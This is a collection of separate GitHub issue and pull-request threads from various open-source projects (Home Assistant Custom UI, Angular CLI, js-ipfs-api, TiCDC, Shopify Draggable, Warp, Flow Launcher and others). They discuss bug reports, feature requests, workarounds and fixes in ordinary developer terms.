Remove old results when endpoint fields are reconfigured

It's currently confusing because you can have results for a different endpoint showing for a different set up.
I think we should just completely remove old results instead of showing that it changed (https://github.com/stellar/laboratory/issues/73).
My main thinking is that as a user, when I click a link in the JSON response, I expect things to change. It does scroll the window, but I can still see my old results which confuses me.

Seems to have been implemented! Results clear when endpoint explorer fields are changed.


add REI Chain Mainnet

Fixes # .
Changes proposed in this pull request:

add REI Chain Mainnet

Closing this as stale, feel free to reopen if needed


Lovelace UI support?

Hi there,
Are there any plans (or ideas) for integrating Custom UI elements (in my case specifically, inline sliders for lights) with the new, experimental Lovelace UI?
The Lovelace Custom Cards docs seem a little different than how Custom UI works currently.
Thank you!

Checklist

[x] I'm running the latest version of CustomUI (Update guide) or using a specific release that is not marked as "Broken".
[x] I tried to force-refresh (Ctrl+Shift+R / Ctrl+F5) the browser
[x] (Optional, but recommended) I'm using Chrome or tried to reproduce the feature on Chrome.

Browser + Version:

CustomUI version:
Home Assistant release (hass --version):
0.72.1
Problem-relevant configuration.yaml entries:

Problem-relevant Home Assistant log entries:

Any errors from browser Javascript console:

I'll get to it when Lovelace is more stable.

@andrey-git Do you need some help with that? I don't know if it's still regarded as unstable since this weekends release? I really want to use Lovelace but I really feel I can't since I love your addition to the ui too much. Can't live without light sliders! 😥

That's the main feature of @andrey-git's Custom UI that I'm using, too. However, I think with the way Lovelace is designed, it would either have to be a custom card, or it'd have to be integrated directly into Lovelace's codebase.

Any news? I Really Love the Custom-UI and its very much missing in the new Lovelace UI

It will require significant amount of work. I started working on it, but I spend significantly less time on HA now.

@andrey-git Do you know how long home-assistant will support the old frontend? My whole configuration is full and depended of custom-ui :(

@tringler the default will be switched to Lovelace in the next few releases, I believe, but the old UI is not going away that soon.

Just curious to see if there's been any progress towards this. It still seems like the light slider will not show up in lovelace.

@gcorgnet not sure why you say that? You want light slider in lovelace, build a light slider for lovelace and submit it? Or just search for a custom one https://github.com/thomasloven/lovelace-slider-entity-row

Yes!!!!! most of my feature is also from Custom-ui specially the lock feature..!! super like! but i designed my card with lovelace, then the lock feature and most of Custom-ui feature cannot use with lovelace , only states UI can use , that's too regrettably....

@horacecar Give us some info, what are you planning to do :)


HTML-report layout for knowledge-base documentation and comments

In order to adopt HTML-reports for knowledge-base documentation suitable for comments, below are proposals of layout improvements.
As basis were taken built-in HTML-report combined with single-page-html-report. I know that is too much at this request. Please advise on technical limitations, implementation ideas, or other layout adjustment suggestions.

Devote whole left-panel to tree

Views at the top,
Elements at bottom (some might be hidden).*
Remove Documentaion window under the tree
Keep the tree unfolded (or may be just views)
The idea is to use it like a table of contents for ease of navigating through (view/elements) pages

2, 3) Show only Documentation tab (below diagram), which will also include documentation of elements depending on selection
Under the Tab:

hide Type column,
add Documentation column
remove relationships (it is already at a tree), *or place it at right panel bottom
Type can be used for filtering what documentation to show. The idea is to bring more focus to documentation as a knowledge base

Select an element in the model tree or in a view to show its details at Documentation tab

If no element selected - show details of View.
4.1) Would it be possible to highlight the selected element on the diagram?

Allow Zoom to down-scale even more - for larger documentation area, if required?

Enable hypotes.is as plugin for inline-comments (annotations & highlights)

Hi, will you be implementing these proposals or are you asking that we implement them?

Hi, will you be implementing these proposals or are you asking that we implement them?

Hi @Phillipus,
It depends. If it can be done in the next couple of months I'll be more than happy. I needed it long back and now am committed to moving it forward with a desire to contribute (because it might facilitate my other open learning community initiative).
Having not much experience with js and HTML, I could initiate the updates in a fork, and someone can review. If I'll be stuck at some point, I'll ask for help. Since you might already have or planned similar updates, it would be good to coordinate between us.
What would you say?

Please go ahead. I have enough to do already. 😄

Got some initial results https://evlibra.github.io/archi-body/?view=c14cadeb-c7f3-462e-aa9d-1a3e66872563
Implemented 6, 1 (partially), instead of 2,3 - git an idea to show element at the center, and model - at east. Initially did that to avoid nested iframes, but now see it might be not so bad. Still learning, already got some challenges - will list them later.

Still learning, already got some challenges - will list them later.
Challenge 1 - if starting form the hypotes.is comments page https://hypothes.is/groups/3o59xLKk/cbt, the page of individual element is open, without seeing its context in model:
https://evlibra.github.io/archi-body/198667f9-f68d-46a1-8bf6-01c97c861d17/elements/id-32c37e8df7f546efaecd7aab152a83b6.html#annotations:5tqalo_eEe2_31tIRXHQ6w
Idea of the solution might be to include link on its view at each element's page, e.g. at the bottom.

You can hide tree elements (folders and elements), by using the property "hide_from_export" and setting it to true.
I use this option for all top folders, except "views" - because

the is no need for them in HTML (without analysis and visualiser tabs)
the knowledge base (or architectural repository, as it's usually called) main purpose is to provide views for the wide audience

hide_from_export

@startsevsa , sorry for the naive question, but in which file are you setting the hide_from_export property to true? In modelreport.stg ?

@Phillipus What is the best place in code to catch the mouse clicks (e.g. to highlight clicked element)?


VSCode Icon

please VSCode icon exists here or not?

Yes, "Visual Studio Code"
https://github.com/get-icon/geticon/blob/3d586ebac68a43c8358d030ee96c9e07afeff489/logos.json#L8240
I should add "VSCode" and "VS Code" as aliases


Run linkchecker over docs in Travis.

What
Add Travis integration to run the linkchecker over the generated docs.
The linkchecker found a couple of broken links, so this fixes them as well.
How to review
Code review.
Verify Travis build passes.
Who can review
Anyone but myself.

LG, thanks


ng serve / ng test - import resolving difference ?

Please provide us with the following information:

OS?
Windows 10
Versions.
angular-cli: 1.0.0-beta.22-1
node: 7.2.0
os: win32 x64
Repro steps.
This import work with ng serve  and not work with ng test:
import {environment} from 'environments/environment';

@Injectable()
export class OwnerService {

  private entity_url = environment.REST_API_URL + 'owners';

When start  ng test :
ERROR in ./src/app/owners/owner.service.ts
Module not found: Error: Can't resolve 'environments/environment' in 'D:\eclipse\workspace\spring-petclinic-angular2\src\app\owners'
 @ ./src/app/owners/owner.service.ts 15:20-55
 @ ./src/app/app.component.ts
 @ ./src/app/app.component.spec.ts
 @ ./src \.spec\.ts
 @ ./src/test.ts

When I change import as
import {environment} from './../../environments/environment'

work ok for both (but it's lo-o-ong  :) )
File environment.ts in src/environments/  directory.
Webpack config difference or something relate to #https://github.com/angular/angular-cli/pull/2470  ?

I'm having the same problem, hopes it will be addressed soon

Same Issue. Brakes app/* imports in tests

Do you have a baseUrl key in your tsconfig.json?

tsconfig as default generated, "baseUrl": ""

Could you provide a project that we can test against? I haven't seen that in beta 22-1 and/or Windows.

@hansl I was on beta 22 updated to beta 22-1 and it went away

Here test project
https://github.com/vfedoriv/test1.git

Thanks. We'll investigate and come back.

I found the problem with your
Using a local fix that I have to report errors more efficiently, this is what I see:
# ng serve --aot
** NG Live Development Server is running on http://localhost:4200. **
Hash: 1951a494f4f6edf25474
Time: 5870ms
chunk    {0} main.bundle.js, main.bundle.map (main) 59.9 kB {2} [initial] [rendered]
chunk    {1} styles.bundle.css, styles.bundle.map, styles.bundle.map (styles) 69 bytes {3} [initial] [rendered]
chunk    {2} vendor.bundle.js, vendor.bundle.map (vendor) 1.22 MB [initial] [rendered]
chunk    {3} inline.bundle.js, inline.bundle.map (inline) 0 bytes [entry] [rendered]

ERROR in Cannot determine the module for class PageNotFoundComponent in /Users/hansl/Sources/_Temp/test1/src/app/common/page-not-found/page-not-found.component.ts!

ERROR in ./src/main.ts
Module not found: Error: Can't resolve './app/app.module.ngfactory' in '/Users/hansl/Sources/_Temp/test1/src'
 @ ./src/main.ts 4:0-64
 @ multi main

ERROR in<EMAIL_ADDRESS>Module not found: TypeError: Cannot convert undefined or null to object
<EMAIL_ADDRESS>69:15-36 85:15-102
<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS> @ ./src/main.ts
 @ multi main
webpack: bundle is now VALID.

The error is "Cannot determine the module for class PageNotFoundComponent". Every components built need to be declared in an NgModule, so this is an error.
Two things you can do to fix:

add the component to a module's declaration (which seems like what you'd like to do)
change the tsconfig to only compile the main.ts (adding "files": ["main"]).

Point 2 we can actually improve on by having main.ts in our tsconfig by default when creating new apps, so we'll do that. In the meantime you have fixes for this problem and I'll close this issue as fixed.
Cheers!

Well, i generate clean project w/o other logic and just add one import.
Same error with 'ng test'
Try this: https://github.com/vfedoriv/test3.git


adding disqus features

I am already adding disqus in this pull request by adding disqus.html file in _includes folder  for disqus component and modify _config.yml for adding your disqus shortname and modify post.html file in _layout folder for add disqus component. I am already do this in my blog and this work well.

Thanks for your contribution!
I will consider to merge anytime soon!

@P0WEX okay I'll wait until it's merged

I merged but seems to be some error with it.

I merged but seems to be some error with it.

That's because I not yet adding this domain to whitelist of site who have access to load my disqus shortname, now I already fix this by adding this domain to whitelist check at https://p0wex.github.io/Gesko/


Using a multiaddr with DNS fails connect to IPFS node

Hey!
Below is the code I'm using to connect to the infura ipfs node. From what I've read this is an appropriate use of multiaddr but perhaps I'm wrong and would appreciate understanding how to correctly turn https://ipfs.infura.io into a multiaddr.
var ipfsAPI = require('ipfs-api');
var Multiaddr = require('multiaddr')

var maString = '/dns4/ipfs.infura.io/https'; // Is this equivalent to https://ipfs.infura.io?
var ma = Multiaddr(maString);
if (!Multiaddr.isMultiaddr(ma)) {
  console.log('Not a valid multiaddr');
  return;
}

// or connect with multiaddr
var ipfs = ipfsAPI(maString);

var data = Buffer.from('Multiaddrs are cool.', 'utf-8');
ipfs.files.add(data, {}, console.log);

js-multiaddr seems to support dns4 and https but maybe I've misunderstood.
Thanks for any help guys!
-Charles

@charlescrain we actually never added DNS support to js-ipfs-api client, but it definitely should work. Looks like this is a good first contribution for anyone to take. Would you like to give it a try?

Yeah I'll give her a shot!

Hello @charlescrain @diasdavid ,
I gave a look at this issue and I have a few notes regarding it.
Firstly, the currently supported format for a Multiaddr is {IPv4, IPv6}/{TCP, UDP}, or in other words, {Internet Layer}/{Transport Layer} as shown here. Since DNS is an application layer and it is usually sent over the Internet Protocol, it looks quite strange to me. However, the multiaddr documentation accepts it in this way.
All things considered, we may accept {IPv4, IPv6, DNSv4, DNSv6}/{TCP, UDP} in order to allow a multiaddr with DNS.
@charlescrain Taking into account your use case, I think it would be used as follows (53 is the standard port of DNS, afaik):
var maString = '/dns4/ipfs.infura.io/tcp/53';
var ma = Multiaddr(maString);

@diasdavid What do you both think about this approach?
Other solution may be the solution that I proposed in https://github.com/ipfs/js-ipfs-api/issues/581#issuecomment-380059374. If we support a specific hostname, in this case, we could use the DNS address directly.

Are you using a multiformat address with dns @dryajov ?

multiaddr as-is does miss some features to be specified, having proper DNS support is one of them and is why DNS is reserved for now, until then we have dns4 and dns6 to resolve A and AAAA records. In this case, dns4 would be the correct one. That's the first part of the multiaddr, /dns/ipfs.infura.io
The second part would be which port to use, in this case we want to use /tcp/5001 as that's where the API is running.
Third part is which protocol to use. This is the part that is a bit under-specified right now. The current thinking (@lgierth, correct me if I'm wrong) is to use /tls/http if https and /http if just http.
So the full multiaddr that has to be supported by the multiaddr package would be /dns4/ipfs.infura.io/tcp/5001/tls/http and outputted in the right format for js-ipfs-api for use.
Steps for moving forward with multiaddr is outlined over here: https://github.com/multiformats/multiaddr/issues/62

Yes, what @VictorBjelkholm said - and /tls and /http could/should actually take one more thing each, the TLS SNI header and the HTTP Host header.
In http(s) URLs, the hostname serves three purposes: DNS lookup, TLS SNI, and HTTP Host, all at once. This coupling of course limits applications in networking stack constructions they can express. Domain fronting for example, where the (cleartext) SNI header is e.g. google.com while the private HTTP Host header is mysite.com, simply can't be expressed.
In a multiaddr, domain fronting could be expressed like this: /dns4/google.com/tcp/443/tls/sni/google.com/http/mysite.com. The /sni part is simple: it's optional, and if it's omitted, the TLS SNI header will simply not be set. But the /http part is a bit tricky. For the sake of encoding/decoding simplicity, we'd probably want multiaddr protocols to always have the same number of values. It's totally okay to make HTTP requests without a Host header, so we wouldn't want to make it mandatory in multiaddr.
There's also the question of how HTTP paths should be represented. In most cases it seems fine to just say "the remainder of the multiaddr is the path", but then sometimes you want to further encapsulate something, e.g. a websocket at a specific path. It's tricky, and there are some notes on how this might look like, but we need to further lay this out and discuss and experiment. For now I'll just use /http/example.com here and disregard the path and backward-compat issues.
These addresses get pretty verbose, but we can have a resolution step which transforms a short multiaddr to its full form, depending on context. For example, a web browser today transforms example.com to http://example.com, and it could transform the same to /http/example.com, then /dns4/example.com/tcp/443/tls/sni/example.com/http/example.com. In the same spirit, the shorthand /https could be transformed to [...]/tls/sni/example.com/http. This can be the same resolution step which already turns /dns4/example.com into /ip4/<IP_ADDRESS>.

I see @VictorBjelkholm and @lgierth. Thanks for your complete explanation, I will give it a try now.


Document what message flags can be sent

Closes: #1916

This pr is a massive change. needs discussing in discord first


JedisConnectionFactory.setDatabase(int index)  is deprecated

The method 'JedisConnectionFactory.setDatabase(int index)'  is deprecated, so what I should use now.

@351524388 JedisConnectionFactory is of Jedis, but of Spring Data Redis. So please ask in proper place.
However, a quick googling says,

void setDatabase(int index)
Deprecated.
since 2.0, configure the client name using RedisSentinelConfiguration or RedisStandaloneConfiguration.


issue with .net

URL
https://dotnet.microsoft.com/en-us/learn/dotnet/hello-world-tutorial/install
Operating system
windows
More information about your system
No response
Description
Hi, I am trying to download RASAero but they are asking me to get .NET first. I have no clue what to do after downloading the thing. I am trying to follow the steps on the .NET website but I really do not understand how it works or how to open it. Literally it is not on my desktop and the only way to reopen is to download the thing again. Thank you for your time.
dotnet --info
No response

Hi @kevin694, do you know if RASAero requires .NET Framework (versions <=4.8) or modern .NET (versions >= 5)?
Could you share more what you mean by "It is not on my desktop and the only way to reopen is to download the thing again"?


chore: release all platform for canary release

Summary
It' error-prone that users use canary version but can't use it in specific platform, fix #6101

Checklist

[x] Tests updated (or not required).
[x] Documentation updated (or not required).

!canary


Compute NumSourceObjects in HNCConfiguration status

This PR computes NumSourceObjects as a part of HNCConfiguration status. NumSourceObjects indicates the number of source objects of a specific type created by users.
Tested: unit tests, GKE cluster
Issue: #411

/assign @adrianludwin
/assign @yiqigao217
@adrianchung Feel free to take a look. :)

/lgtm
/approve
/hold cancel


Allow path search for 7z

The existing code did not search $PATH and would reject just 7z even when it would run fine later on.  My first attempt with shutil.which() isn't really great.  Just try, let it fail, catch the exception.  A single subprocess call isn't a huge overhead in this context.

This is relevant to using an external 7z command across platforms where paths would vary but it may always be findable in $PATH.

Looks good.

Also picked for 0.7.*


Scroll bar jitters when scrolling up in the script editor

Operating system or device, Godot version, GPU Model and driver (if graphics related):
Win7,  Godot-Windows-x86_64-2017-08-31.f9eec5c. Doesn't occur on the official godot 3 alpha 1 build.
Issue description:
Video
When scrolling up in the script editor, the scroll bar will flicker up and down. This only happens when scrolling up. Scrolling down is completely smooth.
I don't have this issue anywhere else so I don't think it's a problem with my mouse.

Don't worry it's not your mouse! This was also spotted by @Zylann in #10489


getNextValSet() should be executed after execBlock() is done

s.blockExecutable.BeginBlock(block, eventSwitch, blockPartsHeader)
s.execBlock(eventSwitch, block, round)
s.blockExecutable.EndBlock(block, eventSwitch, blockPartsHeader, changedValidators, nextValSet)
nextValSet := s.getNextValSet(valSet, bheader.Height, round)

fixed in branch c4


Update debug message

Since client.BucketExists was changed to return a separate 'found' value, instead of reporting an error when the bucket doesn't exist, the error code path does no longer imply a call to client.MakeBucket. So the second part of the debug message, "...trying to create the bucket" doesn't apply any more.
Also, changed the name of the return value from 'ok' to 'found', matching the API documentation at https://docs.minio.io/docs/golang-client-api-reference#BucketExists.

Current coverage is 51.33% (diff: 66.66%)

Merging #685 into master will not change coverage

@@             master       #685   diff @@
==========================================
  Files            95         95
  Lines          7477       7477
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
  Hits           3838       3838
  Misses         3090       3090
  Partials        549        549

Powered by Codecov. Last update 8d13f22...c5897e0


TiCDC OOM（Kafka Sink ）

What did you do?
应用侧的操作暂时还未定位到，事务大小默认 100MB，下游为 kafka，changefeed 配置单表同步。
附件为堆栈信息和 schema
cdcoom.zip
What did you expect to see?
No response
What did you see instead?
虚拟机无论配置 32GB 内存-64GB 内存，CDC 都将使用完
Versions of the cluster
V5.3.1

This issue is under investigation.

@Bowen-Tang  Can you provide the monitoring data and detailed version information of cdc?

@Bowen-Tang  According to Puller's monitoring, the workload of this CDC node is relatively abnormal, which is far beyond the throughput capacity of the downstream under normal circumstances. Therefore, we highly suspect that inconsistent upstream and downstream throughput will cause data accumulation in memory, which will eventually lead to OOM.
This pr alleviates the OOM problem caused by upstream and downstream throughput to a certain extent, so we temporarily closed the issue. If similar problems occur again, feel free to reopen it.


distinct path&path/filepath package usage in the code

Question
There are two packages path&path/filepath which have the same function named Join() in golang sdk.  I find that the usages are casual in our code.
For example, https://github.com/dragonflyoss/Dragonfly/blob/master/cmd/dfget/app/root.go#L175
https://github.com/dragonflyoss/Dragonfly/blob/master/cmd/dfget/app/root.go#L188
...
In fact, they are different.

path package use / as separator. When we use paths to communicate with other programs, we should use this package to keep the consistency between different platforms, such as http path.
path/filepath package depends on os package to get separator by operater system type. Any file operations should use this package instead of  path.

/assign


MoneroWalletKeys.createSubaddress() not supported

Heyo there!
So we have a MoneroWalletKeys (view only wallet) on the client side and want to continously generate subaddresses with it. Intuitively we wanted to use .createSubaddress() but then got the error that it is not supported.
Looking at the src/main/ts/wallet/MoneroWallet.ts it looks like this is not implemented, just for the MoneroWalletFull. We are wondering if the function of the MoneroWalletFull could not also be adopted for the MoneroWalletKeys.
I guess a workable workaround is to use MoneroWalletKeys.getAddress() and then keep track of the subaddress index elsewhere.
Cheers!

MoneroWalletKeys provides only basic key access and doesn't maintain any wallet state.
View-only and offline wallets should use MoneroWalletFull. Here's documentation for that.


Fixed mistake in the code example

It should be node.children instead of elem.children

Thanks for the hint. Fixed.


Unable to use this with ReactJS

I've the following html structure:

And in my componentDidMount, I'm doing:
new Draggable(document.querySelectorAll('.items__food'))
  .on('drag:start', () => console.log('drag:start'))
  .on('drag:move',  () => console.log('drag:move'))
  .on('drag:stop',  () => console.log('drag:stop'));

However, I'm unable to drag any .food items and as a result, nothing is outputted on the console.

As you can see that `.items__food` isn't empty inside the `componentDidMount` lifecycle hook. Am I missing something here?

Interested to see how to integrate with React - I had some strange behaviour with elements duplicating. :)

I don't think you can do this (well, you can, but you shouldn't), b/c react is not aware of what draggable does to your DOM nodes so react is unable to compute valid DOM representation for the next render.

I will park that idea for now then. =) ref: https://reactjs.org/docs/integrating-with-other-libraries.html

I just encountered the issue with react not being aware of the DOM manipulation draggable does. Since draggable does it on the fly while dragging, there's no way to cancel it (from what I can see) like you can with the alike jQuery UI Sortable and let React do it instead.

I would love to have integration with MVVM-libraries, too.

@ghoshnirmalya should definitely work with React. You would also need to override the componentDidUpdate to figure out if, e.g. children elements have changed, or you could see if a sortable:sorted has fired (implementation is up to you). Or you could also just return false within componentDidUpdate which tells react to never re-render.
There are plans on releasing a react component as a separate bundle for this repo.

Since draggable does it on the fly while dragging, there's no way to cancel it

@STenorio99 this is true, Sortable, Swappable and Droppable do DOM manipulations as you drag around, as supposed to on drag end. This makes this draggable library different than others, but we could add a traditional sortable module (built on top of Draggable) that performs DOM manipulation on drag end instead.
You can cancel most DOM manipulations via canceling events, e.g.
new Swappable(containers)
  .on('swappable:swapped', (event) => event.cancel())

We are missing the cancelable action for sortable:sorted, but we can easily add it, which is the plan. It would work like swappable https://github.com/shopify/draggable#events-3
I hope that answered a lot of the questions in this issue?

Awesome

We are working on React html editor, making it easy to use this library would make our editor a lot more awesome!

Do you have any, even very basic and simple example of React component using it?

We do not. that was supposed to be a motivational comment to add react support/docs soon

While we're at it, what about other frameworks such as VueJS?

@jefflam https://github.com/Shopify/draggable/issues/18.

There are plans on releasing a react component as a separate bundle for this repo.

React support would be awesome.

Yeah, I would love to see React support! Thanks for the library

I just threw together a very simple example integrating the Sortable portion of this library with React if anyone wants to check it out for reference.
Repo
Demo

That's great. Thanks Justin!
On Fri, Nov 17, 2017 at 4:50 PM, Justin Mak<EMAIL_ADDRESS>wrote:

I just threw together a very simple example integrating the Sortable
portion of this library with React if anyone wants to check it out for
reference.
Repo https://github.com/jmakGH/shopify-draggable-react-example
Demo https://jmakgh.github.io/shopify-draggable-react-example/
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/Shopify/draggable/issues/34#issuecomment-345151868,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAH9Yk5k6wKIWeZf32ZmSPIJPW3936Jyks5s3R6LgaJpZM4PpxDd
.

wow thanks @jmakGH :+1:

No problem guys, although I should note it's definitely a rough draft. The current setup works outside of the React lifecycle, meaning that sorting the blocks only changes the UI representation but not the actual state.
All the hooks are there though to update state accordingly and I'll be getting this more Reactified in the upcoming days as well as getting a few more different examples up.

@jmakGH thank you so much! I couldn't figure it out by myself

@tsov do we want to leave this issue open until we have some official React integration – or would you say its safe to close this?

Let's keep it open until we natively support react or can recommend a 3rd party wrapper library. This is also a good spot for people with the same question

@tsov @beefchimi I'm going to start working on a React wrapper for this! :) I'll keep you guys posted

Update # 1:
Design for Draggable
Supports single containers
DraggableContainer
	props:
		draggable: string
		handle: string
		as: string // what to render the container as
		className: string // classname for the container
		style: {[string]:string} //inline styling
		delay: number
		classes: {[string]: string} // add classes to elements to indicate state
		draggableRef: (Draggable) => void // ref so you can access the Draggable object to override stuff if u want. Like event listeners
                 // and all the React synthetic event handlers :)

Draggable
	context:
		draggable: string // classnames for the query selector. Added onto classname

	props:
		as: string
		className: string // classname for the component
		style: {[string]:string} //inline style
		children: Nodes // what to render inside (even react components)
                 // and all the React synthetic event handlers :)

Handle
	context:
		handle: // classnames for the handle. Added onto classname

	props:
		as: string
		className: string // classname for the component
		style: {[string]: string}
                 // and all the React synthetic event handlers :)

Usage would be like:
<DraggableContainer draggable="whatever" handle="whatever2">
    <Draggable children={<Handle/>} />
</DraggableContainer>

Using the provider pattern to pass the classnames to the respective children without explicitly passing the props in Draggable and Handle

Update # 2:
95% DONE!!! :)
repo: https://github.com/wuweiweiwu/react-shopify-draggable
I just need to finish some enzyme tests and flesh out the demos and update the README
Will update soon.
ps: react-shopify-react is actually taken on npm already but it just has some boilerplate code that that just create a Draggable instance and nothing else. So I will be publishing it as a scoped module
yarn add @wuxx1045/react-shopify-react

@tsov @beefchimi
Done and published! :)
Repo: https://github.com/wuweiweiwu/react-shopify-draggable
Simple Demo: https://weiweiwu.me/react-shopify-draggable/
Implementation details: https://github.com/wuweiweiwu/react-shopify-draggable#implementation-details on how I was able to pass options down via context. And update props like id className and style without rerendering
@jmakGH I took your example + some styling to create my simple example. And it is pasted below.
render() {
  return (

Block count:

          <input
            type="number"
            className="App-body-count-input"
            value={this.state.blockCount}
            onChange={this.handleBlockCount}
          />

        <DraggableContainer
          as="div"
          type="sortable"
          className="BlockGenerator"
        >
          {Array.from(Array(this.state.blockCount).keys()).map(number => (
            <DraggableItem
              as="div"
              className="Block"
              style={{ backgroundColor: randomColor() }}
            >
              {number}
            </DraggableItem>
          ))}
        </DraggableContainer>

  );
}

I would love any feedback. Enjoy 💯

Any plans on making sortable:sorted cancelable?

+1

If for some reason you don't want to use the awesome react-shopify-draggable, I've written a short tutorial (https://afi.io/blog/how-to-use-shopify-draggable-with-react/) that shows how you can make shopify draggable work with react.


Can the runner window start hidden?

I'm trying Warp with a WPF app in net core 3. When it runs it shows a console window followed by the WPF window, wich runs as expected.
There is a way to hide the runner window? It is confusing as it stays open as the WPF app is running.

Yes, on Windows you can disable this behavior with the editbin utility. It's described here, scroll down to Change the Generated Exe to Hide its Console Window: https://blog.dangl.me/archive/transform-your-aspnet-core-website-into-a-single-file-executable-desktop-app/

It should be possible to port NSubsys's code for parsing PE files and updating the subsystem. Should this be a command-line option, are there cases where it's useful to show the console window?
See https://github.com/jmacato/NSubsys/blob/b8d26cfe049299eb657411a1cd1d5223cc476955/NSubsys.cs#L49 and https://github.com/jmacato/NSubsys/blob/b8d26cfe049299eb657411a1cd1d5223cc476955/PeUtility.cs

Any of the posted answers can solve the original problem. Don't know if it should be added to warp since it can be automated easily. It's up to the decision of the creator of warp.
Closing this since it's has valid workarounds.

So the workaround is to download and install Visual Studio? As workarounds go, this is not a very appealing one.

For anyone discovering this now who don't want to install Visual Studio in order to download editbin, I took NSubsys's implementation and repurposed it as a simple cross platform console app.
https://github.com/joshua-software-dev/SharpGuiConverter
There are versions for Linux, Mac OS, and Windows. There is also a statically linked binary for use in muslc containers. The statically linked version gave me a lot of compiler warnings, but none seem to be relevant to its function, and it worked fine in my testing on both glibc and muslc containers. Submit an issue if you encounter any problems.

The above solutions don't work for me at all.
Is it because I am working with JAVA instead of the .NET implementations above?

same to you. have you found any solutions?


Flow dev branch: .NET crash

For the CC plugin, I display the command syntax in the query response until the correct number of arguments are found like so

If you right click on this result, a .NET exception is thrown which kills Flow and I have to kill the process in Task Manager and restart.
'''Flow Launcher version: 1.7.2
OS Version: Microsoft Windows NT 10.0.19042.0
IntPtr Length: 8
x64: True
Python Path:
Date: 07/01/2021 12:45:38
Exception:
System.NullReferenceException: Object reference not set to an instance of an object.
at Flow.Launcher.ViewModel.MainViewModel.QueryContextMenu() in C:\projects\flow-launcher\Flow.Launcher\ViewModel\MainViewModel.cs:line 387
at Flow.Launcher.ViewModel.MainViewModel.Query() in C:\projects\flow-launcher\Flow.Launcher\ViewModel\MainViewModel.cs:line 368
at Flow.Launcher.ViewModel.MainViewModel.set_QueryText(String value) in C:\projects\flow-launcher\Flow.Launcher\ViewModel\MainViewModel.cs:line 282
at Flow.Launcher.ViewModel.MainViewModel.set_SelectedResults(ResultsViewModel value) in C:\projects\flow-launcher\Flow.Launcher\ViewModel\MainViewModel.cs:line 330
at Flow.Launcher.ViewModel.MainViewModel.b__19_8(Object _) in C:\projects\flow-launcher\Flow.Launcher\ViewModel\MainViewModel.cs:line 222
at Flow.Launcher.ViewModel.RelayCommand.Execute(Object parameter) in C:\projects\flow-launcher\Flow.Launcher\ViewModel\RelayCommand.cs:line 25
at Flow.Launcher.MainWindow.OnPreviewMouseButtonDown(Object sender, MouseButtonEventArgs e) in C:\projects\flow-launcher\Flow.Launcher\MainWindow.xaml.cs:line 234
at System.Windows.RoutedEventArgs.InvokeHandler(Delegate handler, Object target)
at System.Windows.EventRoute.InvokeHandlersImpl(Object source, RoutedEventArgs args, Boolean reRaised)
at System.Windows.UIElement.RaiseEventImpl(DependencyObject sender, RoutedEventArgs args)
at System.Windows.UIElement.RaiseTrustedEvent(RoutedEventArgs args)
at System.Windows.Input.InputManager.ProcessStagingArea()
at System.Windows.Input.InputProviderSite.ReportInput(InputReport inputReport)
at System.Windows.Interop.HwndMouseInputProvider.ReportInput(IntPtr hwnd, InputMode mode, Int32 timestamp, RawMouseActions actions, Int32 x, Int32 y, Int32 wheel)
at System.Windows.Interop.HwndMouseInputProvider.FilterMessage(IntPtr hwnd, WindowMessage msg, IntPtr wParam, IntPtr lParam, Boolean& handled)
at System.Windows.Interop.HwndSource.InputFilterMessage(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled)
at MS.Win32.HwndWrapper.WndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled)
at MS.Win32.HwndSubclass.DispatcherCallbackOperation(Object o)
at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs)
at System.Windows.Threading.ExceptionWrapper.TryCatchWhen(Object source, Delegate callback, Object args, Int32 numArgs, Delegate catchHandler)'''
This doesn't happen with other plugins, even Python ones though there query result is 'activate plugin' (I used the RollDice plugin as a comparison).
@jjw24 can you decipher the .NET exception to see what is going here?

So when you right click, the code is expecting context menu, in your case it's got a null object. Do you need to initialize context menu in python plugins?

I don't have anything in my code to initialize. The RollDice plugin doesn't either, and though it works when you right click on the query result before entering arguments, if you right click after, you get the same crash.
@Zeroto521 - does the Python template need an update to initialize the context menu. If so how?

I think it shall not crash the program, so we should add a check for that.
However, why should it kills Flow? Isn't we have the exception handling strategy?

Not sure, I have not had a chance to look at the code yet

I don't have anything in my code to initialize. The RollDice plugin doesn't either, and though it works when you right click on the query result before entering arguments, if you right click after, you get the same crash.
@Zeroto521 - does the Python template need an update to initialize the context menu. If so how?

I think this should be optional

I think this should be optional going forward

I agree, but we should still add that to the template or people will not know how to implement that.

Agree

If you right click on this result, a .NET exception is thrown which kills Flow and I have to kill the process in Task Manager and restart.

From my testing, it won't kill Flow, but just notice that an error is thrown, which is expected.

@deefrawley once the pr is successfully built, should be able to test it

If you right click on this result, a .NET exception is thrown which kills Flow and I have to kill the process in Task Manager and restart.

From my testing, it won't kill Flow, but just notice that an error is thrown, which is expected.

Flow remains active and can be called via the global hotkey, but no commands or plugins respond with anything. If I right click and exit from the task bar, a flow launcher exe remains in the task manager which means when I try to restart flow, nothing happens.

If you right click on this result, a .NET exception is thrown which kills Flow and I have to kill the process in Task Manager and restart.

From my testing, it won't kill Flow, but just notice that an error is thrown, which is expected.

Flow remains active and can be called via the global hotkey, but no commands or plugins respond with anything. If I right click and exit from the task bar, a flow launcher exe remains in the task manager which means when I try to restart flow, nothing happens.

That's because you have entered the context menu but nothing appears due to the exception. So an esc is needed to exit the context menu view. The fix should address the issue.

So do Python plugins need to do anything extra or will the fix handle things as is?

On the Python side, there should have some specific conditions.
I don't meet using the context menu application yet.

The default JSON RPC returns is [].
https://github.com/Flow-Launcher/Flow.Launcher.JsonRPC.Python/blob/1e95f0df1853bee026c3bfea64ff48ea133db884/flowlauncher/FlowLauncher.py#L35-L45
If context_menu has bugs, query would get the same.
But query works still well.

On the Python side, there should have some specific conditions.
I don't meet using the context menu application yet.
The default JSON RPC returns is [].
https://github.com/Flow-Launcher/Flow.Launcher.JsonRPC.Python/blob/1e95f0df1853bee026c3bfea64ff48ea133db884/flowlauncher/FlowLauncher.py#L35-L45
If context_menu has bugs, query would get the same.
But query works still well.

Let me take another round of check for it.

I probably found the issue. The context menu query may not be deserialized successfully due to a legacy bug, which leads to the empty output. The fix from https://github.com/Flow-Launcher/Flow.Launcher/pull/538 should address it.

